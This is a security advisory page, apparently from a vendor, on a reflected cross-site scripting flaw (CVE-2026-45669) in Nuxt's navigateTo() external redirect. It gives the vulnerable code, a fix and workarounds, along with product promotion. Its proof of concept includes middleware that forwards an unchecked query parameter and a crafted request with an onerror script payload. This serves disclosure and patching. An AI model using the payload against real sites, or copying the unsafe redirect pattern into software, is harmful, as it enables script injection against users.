CVE-2026-45669

CVE-2026-45669 is a medium-severity security vulnerability in nuxt (npm), affecting versions >= 3.4.3, <= 3.21.5. It is fixed in 3.21.6, 4.4.6.

Summary

navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin.

This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >.

Details

In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL:

const encodedLoc = location.replace(/"/g, '%22')
nuxtApp.ssrContext!['~renderResponse'] = {
status: sanitizeStatusCode(options?.redirectCode || 302, 302),
body: `<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>`,
headers: { location: encodeURL(location, isExternalHost) },
}

The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.

Proof of concept

Global middleware that forwards a query parameter to navigateTo:

// middleware/redirect.global.ts
export default defineNuxtRouteMiddleware((to) => {
const next = to.query.next as string | undefined
if (next) {
 return navigateTo(next, { external: true })
}
})

Request:

GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)>

Response body:

<!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html>

The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect
occurs.

Workarounds

If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or > (a normalised URL with these characters is malformed and safe to refuse).

Impact

Applications that pass user-controlled input to navigateTo(url, { external: true }), typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows, are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires.

Affected versions

nuxt (>= 3.4.3, <= 3.21.5) nuxt (>= 4.0.0-alpha.1, <= 4.4.5)

Security releases

nuxt → 3.21.6 (npm) nuxt → 4.4.6 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Fixed in [email protected] and [email protected] by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body

Frequently Asked Questions

  1. What is CVE-2026-45669? CVE-2026-45669 is a medium-severity security vulnerability in nuxt (npm), affecting versions >= 3.4.3, <= 3.21.5. It is fixed in 3.21.6, 4.4.6.
  2. Which versions of nuxt are affected by CVE-2026-45669? nuxt (npm) versions >= 3.4.3, <= 3.21.5 is affected.
  3. Is there a fix for CVE-2026-45669? Yes. CVE-2026-45669 is fixed in 3.21.6, 4.4.6. Upgrade to this version or later.
  4. Is CVE-2026-45669 exploitable, and should I be worried? Whether CVE-2026-45669 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-45669 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-45669?
    • Upgrade nuxt to 3.21.6 or later
    • Upgrade nuxt to 4.4.6 or later

Other vulnerabilities in nuxt

CVE-2026-53722CVE-2026-53721CVE-2026-56326CVE-2026-47200CVE-2026-46342

Stop the waste.
Protect your environment with Kodem.